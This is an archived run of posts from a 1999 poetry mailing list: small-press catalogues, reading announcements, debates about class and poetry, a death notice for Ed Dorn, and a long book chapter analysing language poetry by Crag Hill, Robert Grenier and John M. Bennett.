involvement of the authors, there would be no series. i send a large--a vast--thank you to the kindly souls who have attended readings, bought books, sent occasional donations, and put the word out regarding the readings and the books. i am much appreciative of your interest and your support.

the a+bend press 1999 catalog:

book one history, possibilities: Jill Stengel
book two SAYING NO. 3 Jenna Roper Harmon
book three a s f a r a s Jen Hofer
book four Genealogy Kathy Lou Schultz
book five 22 Katherine Spelling
book six (forthcoming) Jamen Howe
book seven (forthcoming) m. mara-ann
book eight Spelt Susan Gevirtz and Myung Mi Kim
book nine Eve Doe : Prior to Landscape Elizabeth Treadwell
book ten definite articles Sarah Anne Cox
book eleven Waltzing the Map Standard Schaefer
book twelve extraneous roses Lisa Kovaleski
book thirteen Room Dana Teen Lomax
book fourteen (forthcoming) Lisa Lubasch
book fifteen Body Auguries Rose Najia
book sixteen we build mountains Jo Ann Wasserman
book seventeen Dearly, Rachel Levitsky

[note: i am not taking advanced orders for titles listed as "(forthcoming)"]

thank you again,
jill stengel
a+bend press

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164. Jerrold Shiroma

Small Press Publications List

Fri 10 Dec 1999

The deadline for this week's Small Press Publications List @ duration is this Friday (12-17). All publishers wishing to have their publications listed should send info to [redacted].

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165. **Kathy Lou Schultz**

Re: CLASS (fwd)

Fri 10 Dec 1999

I disagree that Katie's post was "very mild." And I do not think that she "simply expresses a point of view" as much as she dismisses an alternate point of view. I believe the main point of her post was "shut up about poetry and class issues."

And I have yet to hear her support her assertions. The following is an observation that lacks explanation or supporting argumentation:

"Of course language can't be seperated [sic] from any of those things. They're made out of language. Poems are made out of language, too. But it just doesn't follow that poems are made of politics, class, etc".

I believe that attempting to divorce writing from its social/political contexts is dangerous. The act of pretending that writing isn't political results in support of dominant power relations. It results in sticking one's head in the sand, in effect saying "don't talk about things like racism that make me uncomfortable." I also think it results in misreadings and shallow readings. I return to the example of Erica Hunt. An analysis of Hunt's that only concerned itself with "form, structure" etc. (as if those things themselves weren't political!) would result in a very uniformed, very cursory reading of this important experimental poet.

But if you find discussions of class and writing "boring," I probably can't help you here. I would suggest however that the privilege to ignore class issues is just that: a privilege.

I believe Taylor Brady's poetic response constituted a useful explication of these issues.

I also find it really interesting that suddenly concern with a working class poetics is "political hegemony/ correctness)". I am constantly personally attacked for raising class issues in the context of writing -- when and where this discourse became "hegemonic" certainly eludes me.

Kathy Lou Schultz

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166. Jill Stengel
oops...double oops...
Fri 10 Dec 1999

---

re december and a+bend press:

while i was writing that big email, i was getting all choked up about how nice everyone's been,
and i forgot to include some pertinent info:

jill stengel
a+bend press
3862 21st st
sf, ca 94114

bluebar is in san francisco

thanks,
jill

↑ Index

167. Jerrold Shiroma
Peter Ganick
Sat 11 Dec 1999

Anyone have the e-mail for Peter Ganick?

Much thanks.

↑ Index

168. Ken Edwards
Re: Digest of british-poets - volume 1 #524
Sat 11 Dec 1999

Reality Street Editions' web site has moved.

The new URL is
freespace.virgin.net/reality.street

Check out the new titles:

Barbara Guest: _If So, Tell Me_ (out now)

RSE 4packs No 3: _New Tonal Language_
featuring Patricia Farrell, Shelby Matthews, Simon Perril, Keston Sutherland (imminent)

Tony Lopez: _Data Shadow_ (out February 2000)

Ken Edwards, Reality Street Editions
4 Howard Court, Peckham Rye, London SE15 3PH, UK
Tel: [redacted] 7297

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169. **rebecca wolff**
Re: objection to New Yorker
Sat 11 Dec 1999

It seems to me that this same argument could be used to suggest that affirmative action laws should be abolished. Change is slow, nay, and happens in increments like this, at least this is how I imagine this happened: Susan Wheeler, due to proximity and pedigree, gets invited to be one of the judges. Susan Wheeler is a cool woman and and interesting poet who is interested in interesting poetry. So she nominates an interesting poet. Why not support this tiny ray of light? Picture tiny ray of light through chink in the wall as preface to huge block of wall falling out to reveal lots of light. You'll feel better than with the salsa/turkey analogy.

Date: Thu, 9 Dec 1999 20:37:19 -0500
From: Simon DeDeo <[redacted]>
Subject: let's hear it for J H PRYNNE! / Hollo

...but then, there's the question of whether or not one wants to lend any kind of legitimacy to the proceedings. That Pyrnne was on the list surprised me (argh! I confess! I read the New Yorker!) But given the sorry state of the New Yorker's poetry these days ("no shoes, no shirt, no status as canonical writer, no service"), why sign your name to the current marketing techniques of "big press poetry", where a little sop to the "hip" is like the salsa with turkey.

The only reason I can think to bust out the vote for Prynne would be that if he made a decent showing, more might read his work.

-- Simon

↑ Index

170. **Roger Gilbert**
Robert Grenier
Sat 11 Dec 1999

Can anyone provide me with an email or postal address for Robert Grenier?
Please backchannel.
Thanks.

↑ Index

171. Wanda Phipps
Music....
Sat 11 Dec 1999

Hey,

It's my first all singing, all music performance with my new band of players--
come on out for a half hour of new songs, fun & frivolity--

W A N D A P H I P P S

Performing Songs
accompanied by

Joel Schlemowitz: rhythm guitar
Hiroshi Noguchi: slide & lead guitar
& Val Massimi: drums

8:00 pm - Tuesday - December 14, 1999
at The Fort at Sidewalk Cafe
94 Avenue A
(Corner of Avenue A & E. 6th Street)
New York, NY

[redacted]
No Cover

Hope to see you there!

Wanda Phipps

Check out my re-designed and
updated homepage MIND HONEY at
www.users.interport.net/~wanda
A honey pot of new poems!!!
And if you've been there already
try it again--we're always adding
cool new stuff!

↑ Index

172. David Baratier
Morte d' Ed
Sat 11 Dec 1999

Estrella’s Prophecies #18

for E.D.

Upon year end, reflect over the home
of the brave and meatloaf specials, however
shallowly. Since potential diminishes
and your body has joined the recession
think of bygone figures. Fabulous Johnson.
Promise to do something that would
make you a better person if you did.
Dick Van Dyke. Even though European
Commission inspectors raid and close
Coca-Cola offices for dominant market
position abuse, for you, this year,
I'm dreaming of a white Christmas, joy
to the world and a Super America. For
an American piece I will reflect more.

↑ Index

173. Tom Beckett
Ed Dorn
Sun 12 Dec 1999

Ed Dorn died ,at home in Denver, December 10, 1999. He was a man of ferocious intelligence and great wit.

↑ Index

174. L. MacMahon and T.R. Healy
extempore on two lines from Dorn
Sun 12 Dec 1999

The Tensile Strength of Last Winter's Icicles

a cool head takes time
tossed the dude

but a cool time gives you head
parried an equine if unexploded blonde

O Miss Polly
give me an infinity you can count on

three tenths
and three hundredths
and three thousandths

or at least a decent tattoo

(this was before
she attempted to use his retinas)

careful!
that ain't no
thing!

(at which stroke she
demanded back the negatives)

just then there was the sound
of something natural

who's there?
ego amiable
jus' wee me
said the cheery sower

trust a German to write
Being on Time
said the man

three

two

one

this is for your sadly missing heart

Randolph Healy

Visit the Sound Eye website at:
http://indigo.ie/~tjac/sound_eye_hme.htm
or find more Irish writing at:
http://www.nd.edu/~ndr/issues/ndr7/contents.html

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175. **Bob Grumman**

A Chapter on Language Poetry

Sun 12 Dec 1999

For anyone who's curious about my book in spite of its recent panning, here's a chapter from it. It discusses poetry that is, or is like, what is commonly called language poetry. Comments welcome.

--Bob Grumman

CHAPTER NINETEEN

Xenolinguistic Poetry

Language poetry in my poetics is a form of what I eventually came to call xenolinguistic poetry--that is, it is poetry whose syntax or train of thought is linguistically strange to an extreme. It was the last kind of poetry I was able to come to terms with--if, indeed, I have come to terms with it. For years only my desire to comprehend all poetry kept me going back to it, trying to appreciate it--even to the extent of reading the famous primer on it, the almost impenetrable The L=A=N=G=U=A=G=E Book. I didn't start getting much of a fix on the stuff, however, until I came on Crag Hill's DICT, or the four pages or so of that work that were published in Red Lines, No. 7.

illustration I couldn't transmit cybernetically

One characteristic of the DICT excerpt that helped was that its poems are all less than ten words in length, and thus easy to get hold of. But what most helped me was that it has a unifying, underlying framework--the bones of a dictionary. What does this accomplish? For one thing, it provides an alphabetic rationale for the arrangement of the sequence's subjects. It alerts us as well to the fact that we are to be concerned with spellings and definitions. With fundamentals of language, too, and probably (by extension) fundamentals of Everything. At the same time, it surrounds us with an ambience of authority, of exact rules--something secure to roam freely out of, to laugh at contrasts to, to deconstruct fearlessly from, and so forth.

All this would mean little if the poems or stanzas of DICT weren't effective in themselves, but they are. Take, for instance, "ABASE," the very first word of the sequence. It is an almost perfect choice for its position for the following reasons: (1) it begins the sequence's journey in the proper place alphabetically (i.e., at ABA); (2) it begins it structurally appropriately at "a base" and (3) it begins it philosophically appropriately at a tearing

down, at a kind of reduction (of rank or estimation, my pocket dictionary has it). In short, Hill in one word tells us what he's up to (overtly, at least): a reduction back to first principals.

The next word--on a line by itself--is "meaning." So now we know we are to be concerned with the reduction (or abasing) of meaning. And with basic meanings. Perhaps also with gross (base) meanings. A line later the non-word "ABCD" appears. Our alphabetical trip is starting--in pre-meaning, also in the elements, in the letters which precede wording; in the base. One thinks, too, of baby talk, and a child's first experiences with letters and words.

On the third line is the phrase, "distinct A-horizons." I don't know what an A-horizon is (in the real world) or if there is such a thing. But the phrase, in coming just after "ABCD," underscores orderliness, officialness, even (horizontal) straightness. And the "A-nature" of the words to follow is announced, or emphasized, as well as the fact that we are starting at A, with nothing but "A-horizons" visible ahead of us.

Then: "abr abbr," or (possibly) the word, "abbreviation," abbreviated (twice)--after misstarting. The journey which started with "ABCD," then was interrupted by "distinct A-horizons," has now advanced one step from formal letters to an awkward, shaky first step into "word-ness"--which is abbreviated to its smallest state. The alphabetical sequence is maintained, too, as we go from ABA and ABC to ABR--then back slightly to ABB.

A pun of sorts comes next, "state of being" (my emphasis) suddenly cropping up in this "b" section of the A's. It keeps the reader's attention on such philosophical concerns as the relation of meaning to being. Alone in the line under "state of being" is an X. It forms a sudden center, and is also a loud retort, to all the A's. It suggests some idea of a distinct state of being, too. We're

still at a kind of starting point, but now at a first essence (an unknown quantity) as well as at a first letter. But we're also at a "layer of substance," according to the next line.

Because the lineation forces attention on the text one word or syllable at a time (for the most part), I again spin off any mainline into a thought of "substance" as "sub-stance," or of being not yet in a stance. Preliminariness holds. Incompleteness, too, as the truncatedness of the next two entries, "cordant note" and "ately released," indicates. "cordant" makes me think of discordance, of course, particularly in such an assortment of not closely interrelated entries, but then I am struck with the pleasant opposite to discordance, "cordance"--core-dance. Is the X the note (and "core") referred to?

"ace" then intrudes and its quotidian definition as a playing card whose face is marked "with one large pip." This is followed by a line that doesn't compute for me but is nice. The first entry in DICT which uses punctuation, it consists of a colon followed by a space and then the word, "plants." Or: a sense of expectancy, followed by a word representing the ultimate natural realization of expectations.

"plants" is repeated on the following line, with a space after it--and, finally, a semi-colon, to represent a sense of semi-completion. All this might be a contrast to the mechanical, unAprillike nature of the dictionary which is its field, or a reference to the semantic breeding ground that a dictionary is, or who knows what. Which makes me suddenly recall, as I write this, that a pip is a seed. So the flow from the ace to plants is not illogical. Ah, another connection: a pip begins the "deck" of spring as an ace begins a deck of cards. . . . And as a's begin the alphabet. So many similar and contrasting games are thus caught here abudding!

And so Hill's sequence flows on, making the dictionary into a playground, and filling the reader with the feel of creativity, of words being born, and meanings, and realities. . . . Look, it proclaims--only look closely at the world, or at the best lists of the names for its contents: the world is alive, and rich!

Another of my successes as an aesthcipient of language poetry occurred when I got a copy of In the American Tree, an anthology of language poetry edited by Ron Silliman. It involved some poems by Robert Grenier, the first of which, just six lines in length, reads as follows:

> ...
>
> a long walk
> a long
> walk a long
> walk a long
> walk along

About this I wrote in an issue of the Score Review as follows:

> My first reaction, typical for me, was dismissive. All I saw was trivial repetition of trivial words for no good reason. Maybe the poem was of slight value for the way the boringness of its diction metaphored the boringness of its subject matter, "a long walk," but it did nothing more worthwhile than that for me.
>
> So I went on to Grenier's next poem, "Wintry," predisposed to dismiss it as well. For a while that was easy: all it seemed to consist of were juvenile word plays like a rhyme of "icy" with "nicely," and some foolery with the way the Germans and Norwegians in the text pronounce, "well" as "vell." But I had to admit that, despite the brevity of its lines and strophes, it got an ambience of some northern American countryside and its down-to-earth but pleasant German/Scandinavian farmer-types going through

me. Then I turned the page. There the poem ended in three strophes:

> snow
> blue
> eyes
>
> ice
> blue
> rocks
>
> rocks
> rocks of
> getting dark

I was at once converted to Grenier's way with words.

One thing I liked was the way the text, after saying pretty much nothing but, "Oh well," "Oh vell," "I don't know," and "Yah" for five strophes, suddenly zeroes down to two kinds of blue, soft and hard, both of them vitally palpable after the mundaneness of what's preceded. Both, too, are extremely in context, the earlier strophes having discussed winter to set up snow and ice, and shown a Nordic accent to set up blue eyes.

Something else happens: eyes are, through parallelism, implicitly compared to rocks. They can thus be taken as being mineral and insensitive, and enduring; or the rocks can be thought of as being Nature's eyes. Humans with winter in them, rocks with awareness in themú.ú.ú. and all the scene as elemental as the lines describing it.

The capper to the poem for me, though, is the poem's final strophe. There the peculiar locution, "rocks of getting dark," presents us with rocks that are somehow comprised of the act of getting dark. Darkness is stealing into a locale and, apparently, solidifying there like water into ice, rock-hard ice. At the same time, parts of speech blurring in the

confused syntax of the strophe, I visualize, and feel, a countryside's being rocked to darkness like an infant's being rocked to sleep--to some kind of deep final stasis.

Of course, "getting dark," on a line by itself as it is, might simply indicate a new subject's having been introduced, the fact that it is getting dark. Perhaps the narrator was about to address in greater detail what the rocks he's speaking of are made of, but he's tired, too tired--or bored--to go on, and it's getting dark. Still, the phrase "rocks of getting dark" arises naturally from the poem. Maybe everything is going to sleep--in all senses of the word. (And I think of Robert Frost's "Stopping by Woods on a Snowy Evening.")

Whatever its final "meaning," the poem turned me back to Grenier's previous poem with a considerably less condescending attitude. This time around I saw, for the first time, how "a long" becomes "along." The poem indeed metaphors the monotony of a long walk going on and on and on. But it does more: it surprises us with a pun. The "along" part of the latter is, of course, amusing, but it is lyrical, too, for it doesn't just describe a person as "walking along," or going onward; it also describes him as walking by the side of something. In other words, he is not aimlessly walking, but interacting--in relation--with his environment. He has a route, he is performing Roethke's "waltz of To." And, it is strongly implied, he is consciously doing so; he is intentioned.

That might not seem a big deal, but to me there's nothing more profound and archetypal than to be purposefully following a route, to be located in the universe, and consciously going somewhere! And Grenier shows how that feels with maximal vividness, by springing his readers into a sense of it as abruptly, and

> from as nakedly and repetitiously nowhere-going
> a situation, as possible.
>
> He thus allows an apprentice appreciator of
> language poetry like me to get some idea of how
> much a flawlessly-executed preposition like
> "along" can do, even in a poem a mere 13 words
> in length! And, as "Wintry" shows, his use of
> other kinds of words (participles such as,
> "getting," for instance) is equally skillful.
> Ergo, there must be something to his kind of
> poetry!

I was particularly happy with one result of my little review: Bob Grenier saw fit after reading it to send me a very nice and appreciative letter--with an autographed copy of one of his books. That he also took the time to point out that the "2" poems I'd analyzed were actually 3, the "passage" starting with "snow/ blue/ eyes" actually being a complete poem in itself, didn't perturb me. After all, the two poems I treated as one did go together, sort ofööand no title, only a line of asterisks, separated the two on the page they shared. Anyway, I'm always making preposterous mistakes as a critic. For instance, back in college (in my late thirties, the reader will recall) I was taking a class (one of the most enjoyable and valuable ones I ever took)--in poetics. Part of the required work was to analyze few poems out of a bunch the class's teacher, the poet Robert Reid, had xeroxed for us.

One of the poems was by Reid himself. Ah, thought I, what better way to check my critical acumen than to analyze a poem whose very author is available to judge the result! So I batted out five or six hundred words on it. Well, its title, "Window Seat," destroyed me. Even though the poem spoke of passing over a house, and of looking down, and so forth, its title led me to place it not in an airplane, as I should have, but in a quaint old New England house possessing something called a window seat. It was a far more foolish mistake than the one I made with Grenier's poems, but I still got an

"A" on my paper--which encouragement no doubt was at least partially responsible, eventually, for this book! So Professor Reid has much to answer for!

As for my Grenier mistake, I agreed with Grenier that it was a mistake--but I didn't agree with his later comment that there is "no 'along with', or 'by the side of something'" in his first poem. But those are--harumpf--possible meanings of "along," whatever their user intended by his preposition. Anyway, the main object of the critic is not to get everything right, but to get his readers' sensitivities purring.

I analyzed several other language poems around this time. Then my taxonomania taking over, I worked up a fairly elaborate system of terms for the various kinds of language poetry I believed there to be. I even got an essay I wrote about the system published in a magazine called SkyViews. Again, though, I will spare my readers the five or six terms I coined. I did want to mention my efforts lest anyone think I hadn't been everywhere in literature as a taxonomist.

Before leaving this chapter, I'd like to discuss one other poet, John M. Bennett, because his poetry, while xenolinguistic, is xenolinguistic in a way that strikes me as significantly different from the way most language poets' work is. Bennett is also worth discussing simply as a severely under-rated otherstream poet. So, let us turn now to, "The Eating," a characteristic poem of his from the collection he asked me to introduce, the Blur. It's on the next page.

As in most of Bennett's poems, the subject matter of "The Eating" is commonplace, but at once, with the declaration of its title, a note of drama is injected: the poem is not to be about mere eating, but about the eating, or a special, perhaps ritualistic act of eating. Another source of drama is the beat of the verse (particularly as chanted by Bennett on the taped version of the Blur). Many of

the lines start with a strong verb whose first syllable is strongly accented, and anapests abound. Other kinds of fancy-footedness which engage the ear and help bind the reader to matter not immediately accessible to the intellect include the near-rhyme of the first line's "Hoping" with the second line's "sleeping," and the full rhyme a little later of "I" with "my" as well as several instances of alliteration, assonance and consonance.

THE EATING

Hoping for an end to the
food I was sleeping next
your breasts. Raising your
arms as in death, lamplight
sinking into the wall till dark. I
hurried to the bank with the
burn rising in my throat and my
feet swallowed by shoes. Not
rubbed by yours cold nights or
breathing my neck. A heap of rugs damps the
the basement and there's so much air in the
waterpipes I'll never quench. Today
today. A pile of steaks in a
chair and nothing left to suffocate

The poem's narrative line starts a shade oddly: its speaker, who is--it is to be presumed--addressing his wife or girlfriend, is "hoping for an end to the food." Apparently if something doesn't end it (such as--somehow--his sleeping next to someone), he would be powerless to refuse it. So he is involved more in a feeding than an eating, a feeding he wants to end. And as he is not sleeping next to his companion, but next to her breasts, it seems likely that we are back in an archetypal first feeding. The speaker is hoping to break out of his infantile dependency on his mother, or a later substitute for her--such is one possible reading. Overtones of sexual intimacy are heavily present, of course. At the same time, however, there is a suggestion of alienation, of being next not to a person but to a

mere part of her anatomy. The situation, in short, is ambiguous.

And things only get confuseder with the information that the woman's breasts are raising her arms, "as in death." Or is it the speaker who is raising them? In either case, how can the latter, being asleep, know about the arms? Clearly we are--at least in part--not just watching somebody's sleep, but in it, cut off from conventional rationality. We are in a piece of literary cubism, too--one in which many angles into a subject, temporal as well as spatial, are bound together into a single all-at-once point of view.

After a passage with a peculiar twist about lamplight which is sinking into the wall rather than merely reflecting off it, all the urgency hitherto latent in the poet's voice and rhythm comes to the fore--but, as in so many of Bennett's poems, it is tied to the most commonplace of events, in this case going to the bank! Why the speaker suddenly needs to go there is not indicated but probably to make some kind of withdrawal. There is a "burn rising in (his) throat," so the withdrawal might be of water. Or of more maternal milk.

Or maybe he wants to make a deposit. Perhaps the bank is his companion's womb, and the burn is rising in a lower throat than the one in his neck. This might seem far-fetched, but the surrealistic non-rationality of the poem encourages reader-participation even into such far-fetchednesses, and this for me is one of its main virtues.

The reader is participated even more intensely into the events of the poem when the speaker's feet are "swallowed by shoes." Life is underfoot--and feels menacingly devouring. The poem to this point verily has achieved an arresting & authentic portrayal from the inside of someone frantically striving for some nameless visceral necessity and being hugely opposed, even by his shoes.

He is lonely, too, for his feet, according to lines 8 and 9, are not rubbed by his companion's on cold nights (despite the nearness of her breasts)--nor does he enjoy her "breathing (his) neck." He lacks footsy-affectionate companionship, that is, and mouth-to-mouth sexual desiredness. And with the latter we are again in food-related matters, in eating as consuming as final full visceral animal primitive barbaric raging devouring of one's surround.

Lines 8 & 9 aren't just about a certain deranged but archetypally important human state, however. They also exemplify what is perhaps Bennett's highest virtue as a poet: his ability to deliver first-degree beauty indirectly through intense treatment of negative space. By this I mean that Bennett tends often to describe something generally considered pisspuke-unlovely, and to do so with full dedication, thereby losing many a delicate reader, and gaining a reputation for negativity. But the negativity frequently yields the healthiest of positives, as here it trips us into a fresh-textured appreciation of full sensual companionship, of having one's feet rubbed on cold nights by another's, and one's neck inhaled into full-sexed intimacy. Bennett describes the good of existence by violently telling us what it isn't, which can no more fail to tell us as violently what it is than a thorough explanation of north can fail to teach us as thoroughly what south is.

And the good divulged, because unexpected, stands all the taller in the senses, and because of the dark of what it has issued from, all the brighter. Bennett's poetry, then, is a poetry of affirmation as much as the more clearly affirmative poetry ofú.ú.ú. I can't think of any former poets of significance who were exclusively affirmative; their finest moments occur against darkness--e.g., what Shakespeare brings off among murders, suicides and ruin in Macbeth, or Shelley in the despondencies of his "Ode to the West Wind," or Roethke in all his

presentations of madness and desolation. In short, Bennett is not as untraditional as conservative critics might have you believe.

His best moments are top drawer, too--for instance, what happens in line 10 where "(a) heap of rugs damps the basement." This excellently demonstrates what I mean by a "nightmarriage," which is what I call any phrase which seems to me both a happy marriage of images and something out of a nightmare. This particular one describes the suppression of menacing things in the speaker's basement. Or it is the basement itself which is being suppressed--and if the speaker's shoes can swallow his feet, what couldn't his basement do?! That's a striking enough image. But in the context--which is part dream (or place in a mind), and part human body and its plumbing, as well as part literal house and its plumbing--the image bulges into all kinds of other possibilities. Surely, for instance, all the fire in the sexual basement that the speaker's genitalia are is being stifled; and all the agitated cravings of his belly; and, in fact, all the potential noise and color and violence of his whole life's undermost needs and desires!

By its end "The Eating" has itself become a monstrous nightmarriage, or system of nightmarriages. Look at the way all its pipes and passageways, and all the items going somewhere through them toward guts or wombs or banks or basements, and all the processes these things suggest come together to form one gigantic over-image of digestion, respiration, sexual intercourse, maternal nurturing, perception, economic intercourse, communication, engineering, andú.ú.ú. life. And there is nothing left to suffocate. Nor have I anything else to say about Bennett--or xenolinguistic poetry.

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176. George Fouhy
poetry monday!
Sun 12 Dec 1999

Visit the Creative Arts Cafe poetry site for information regarding
Monday night's poet: Joan Halperin
http://www.bestweb.net/~cindyf/poetry_2000.htm

↑ Index

177. Susan M. Schultz
Re: question about the 1950s
Mon 13 Dec 1999

I'm going to be doing a directed reading with a graduate student in history next semester who is working on the 1950s, especially on car ads and anti-materialist backlashes. Any suggestions you folks can make about relevant poetry and also 1950s culture and counter-culture is most welcome.

Susan Schultz
University of Hawai`i

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178. Herb Levy
poems & new music in RealAudio
Mon 13 Dec 1999

Hi folks,

Just a short note to let y'all know that this week's Mappings, my weekly online new music "radio" show features pieces with texts, including collaborations between chris cheek & Sianed Jones, Jerome Rothenberg & George Lewis, text-sound piecs by & performed by Jaap Blonk, as well as some more new music-oriented works by, Joseph Zitt, Nicolas Collins and Rene Lussier.

Available all week at:
<http://www.antennaradio.com/avant/mappings/index.htm>.

Bests,

Herb
--

Herb Levy
NEW MAILING ADDRESS: P O Box 9369 Forth Wort, TX 76147
NEW PHONE: 817 [redacted]
same old e-mail: [redacted]

↑ Index

179. Scott Keeney
Paul Metcalf: Collected Works
Mon 13 Dec 1999

Just saw that Coffee House's Collected Works of Paul Metcalf have been remaindered for $14.95 (plus $3 for S&H [plus sales tax in Conn.]) available through Edward R. Hamilton, Bookseller, Falls Village, CT 06031-5000. For anyone interested.

↑ Index

180. Jacques Debrot
atlanta poets group/grolier bookshop
Mon 13 Dec 1999

uhm, having dissed the apg in an earlier post, i thought i should say, having just read most of the mirage #4 atlanta anthology, that it certainly has some interesting work-- among other things: a couple of cool collage poems by james sanders; randy prunty's funny "gender rinse" and dana lisa lustig's faux-naive "st. francis . . . "

about the grolier, if your idea of it is, say, that of the clubby little bookshop brad gooch describes in his o'hara bio--forget it. no browsing is allowed--you come in with the name of the book you want, the owner retrieves it for you--and then you're told to leave. a draconian policy necessitated by, what i was told by the owner herself, was the experimentalist poets' addiction to ripping off books. any book or zine w/ merely the whiff of the av-garde is now verbotten. perhaps the owner has relented since i was there last. it's hard to think of her keeping up this policy indefinitely. but i wouldn't know-- as someone who used to drop quite a lot of lettuce at the grolier every week--i will never set foot inside there again.

jacques

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181. Poetics List Administration
Thelonius Monk / Holman
Mon 13 Dec 1999

I had to reformat this message. Chris

---------- Original message (ID=605CCA66) (286 lines)

From: [redacted]
Date: Wed, 8 Dec 1999 23:53:53 EST

Hey folks, check the vibe on this:
Monday the 13th, at the Knitting Factory -
10 pm until 1 a.m.

Thelonius Monk's Epistrophy done '90's style....

Sorry about the recent flurry of e-mails, but as they say, 'tis the season..= . The Epistrophy Evening: mad flavaz in ya zone - more Subliminal Minded material for you to savour... so folks this is a benefit for A Gathering of the Tribes, an institution that has supported avant garde culture for a while, so check the vibe, so as always it's s situation representing a whole bunch of scenarios: A Guy Called Gerald, Samuel Delaney, David Hammons, Steve Canon and yours truly present: film, literature, and music - here's the 411:

Music:
The Playas:
London Afro-Futurist Avant Garde drum n bass veteran A Guy Called Gerald
versus Dj Spooky that Subliminal Kid and
legendary free jazz pianist Matthew Shipp

and the event has some special sneak preview of new material from David Hammons, probably one of the most important African American artists of the last 20 years who has been working on a Dj vinyl project...

Film: and and a film entitled "The Lure of the Ancestors" a documentary by Olumide, who worked on the award winning film "Slam" that featured Saul William and Soundtrack by Dj Spooky, on the linkages of Yoruba and Yoruba influenced percussion and American polyrhythms (Baba Olatunji, Abiodun Oyewole, CYnthia Turner, Eric Bobo, etc etc ...)

Words:
and then there's the people reading:
legendary science fiction writer Samuel Delaney with new material
Steve Canon, the director of A Gathering of the Tribes
Edwin Torres
David Henderson
Iris A.
Stacyann Chin
Carl Hancock Rux
Mariposa

plus special guests...
tix: $10 - all proceeds from the event go to A Gathering of the Tribes

Epistrophy was what Theloniuous Monk used to call his style of thinking and playing, but most who check out the word in the dictionary will simply find that it means "return from an abnormal mental state." Anybody who's checked out "A Gathering of the Tribes," an independent non-profit magazine that has been one of the best Lower East Side and East Village journals of poetry and art for a long while, and host of alot of art shows relating jazz and contemporary culture, will see that it's an arts organization that has allowed alot of people to get their ideas out into the world, and turn their backs, like Theloniuous Monk, to the conventional music, poetry, and arts scenes. Basically this is a benefit for the magazine and arts space that's associated with. The main theme of the evening will be a duo between internationally renowned experimental jazz pianist Matthew Shipp and sonic chaos in the form of tunrtable terror from yours truly, downtown enfant terrible Dj Spooky that Subliminal Kid and London legendary drum n bass innovator A Guy Called gerald. In addition to these artists, highly respected artist David hammons is previewing some of his new sounds from a sound project he's been working on, and one of the most important science fiction writers working in the field over the last several decades, Samuel Delaney will be reading from some of his more recent books. And critically acclaimed poets, Steve Cannon (who runs Tribes), and David Henderson will be reading. Expect an evening of special guests to make apearances as well because everyone from the jazz musicians and performing artists have worked with Tribes in the past to younger more hip-hop and electronica influenced artists will be making showing up. All proceeds go to a Gathering of the Tribes.

Knitting factory, main space, December 12th, tickets, $10

more info:
www.djspooky.com
or
[redacted]

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182. Poetics List Administration
Re: poets & our clichés / Lang
Mon 13 Dec 1999

This message came to the administrative account. Chris

--
Date: 12/9/99, 8:32 AM -0500
From: "Doug Lang" <[redacted]>

I thought I'd missed something here, so I checked with
Tom Raworth and learned that this response was to a
private message, not to a post to this list. If this was in

error, I'm sure we can all relate to that. What is unfortunate
is that Tom's original message (which he forwarded to me,
after my inquiry to him) was poorly represented, and
in a meanspirited manner. It's even more unfortunate
that no acknowledgment has been made of the error
to the forum in which it was made.

Doug Lang

david bromige wrote:

> To amplify (and to clarify, i hope) my response to tom
raworth's
> post : when i used the cliche "in war, innocent people do get hurt",
tom
> transferred it from where he got it (a highly contextualized
situation, as
> he initially acknowledged, in which "hurt" is economic) to images of
> refugees being bombed... however he got down that slippery slope, he
then
> employed the cliche "slippery slope" to warn me lest i lay aside my
pen and
> pick up my uzi.
>
> But when i heard tom's anxiety as encoded in "s.s.", ," i thought of
"grave
> misgivings", a bleeding-heart liberal cliche excuse for doing nothing,
and
> even of "it wouldnt be prudent," a fascist excuse for doing nothing.
tom
> conjured me leading the easily misled, from economic sanctions to
> blitzkrieg; hence his "slippery slope." but i have no further
ambitions
> concerning czeckoslovakia, except to learn how to spell it. i am
> surprised to have the "slippery slope" sanctions imposed upon me, by a
man
> who must have had as many friends as i, imprisoned by those
authorities on
> marijuana who know it always leads to heroin.
>
> Anyway, let me say further re economic sanctions against seattle that,
as
> david antin says, in approving the notion, it will be hard to get the
word

> out. agreed, so we dont expect this action to bring catastrophic hardship
> to any one person. a reduction, maybe, of 3% in annual profits. but the
> effect is cumulative, and what we hope for is sufficient reduction in
> seattle's income to have a negative impact on their budget, so that certain
> "essential" services--we suggest, the police--have to be cut back. it is
> the police, first and foremost, who need to be taught a lesson in
> restraint.
>
> But too, it is the city adminstrators who slip the police's leashes, who
> have to learn the hard way, and when big stores lose 3%, thats a lot of
> latte, and a corresponding increase in pressure on city hall to consider
> the consequences of police violence.
>
> The purpose of this, as i understand it, is not primarily punitive but
> minatory---to prevent future demonstrations from being clobbered by city
> hall in other venues.
>
> i like david antin's suggestion re microsoft. of course, already existing
> product from m.s has to be considered as grandfathered in. but for the next
> year, it wd be great if bill gates (a mighty fan of the w.t.o.) received
> less income from us outraged & nugatory chickens at the far end of the

> *coop.*
>
> *db*

↑ Index

183. Poetics List Administration

Quasha & Stein at St. Marks / Quasha

Mon 13 Dec 1999

--==========206505786==========

This message came to the administrative account. Chris

--
Date: 12/11/99, 12:40 AM -0800
From: "George Quasha" <[redacted]>

George Quasha & Charles Stein reading
at St. Marks Church on the Bowerie, NYC
Wednesday, December 15th, 1999 at 8 PM

GQ will read from his recent book AINU DREAMS and from forthcoming books, IN NO TIME and THE PREVERBS OF TELL: NEWS TORQUED FROM UNDERTIME.

CS will read from his ongoing THEFORESTFORTHETREES, a selection of which appeared as THE HAT-RACK TREE.

NOTE: GQ's scheduled exhibition of AXIAL STONES and reading of AXIAL POEMS at Westbeth, previously to open on December 9th, 1999, has been postponed till Friday, January 28th, 1999, 4-9 PM. The works of precariously balanced stones will be exhibited in the Westbeth Gallery for one week along with the paintings of Spencer Holst and Beate Wheeler. The reading will follow the opening at 9 PM.

--==========206505786==========

Delivered-To: [redacted]
  by mailhub with SMTP; 11 Dec 1999 05:40:57 -0000
Delivered-To: [redacted]
  by mail2 with SMTP; 11 Dec 1999 05:40:55 -0000
      by themis.host4u.net (8.8.5/8.8.5) with ESMTP id XAA09105
      for <[redacted]>; Fri, 10 Dec 1999 23:40:37 -0600
Date: Sat, 11 Dec 1999 00:40:59 -0800
From: George Quasha <[redacted]>
Organization: Station Hill / Barrytown, Ltd.
To: Poetics List <[redacted]>
Subject: Quasha & Stein at St. Marks

--==========206494987==========

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--==========206494987==========
Content-Description: Card for George Quasha

begin:vcard
n:Quasha;George
tel;fax:[redacted]
tel;work:[redacted]
url:http://www.stationhill.org
org:Station Hill / Barrytown, Ltd.
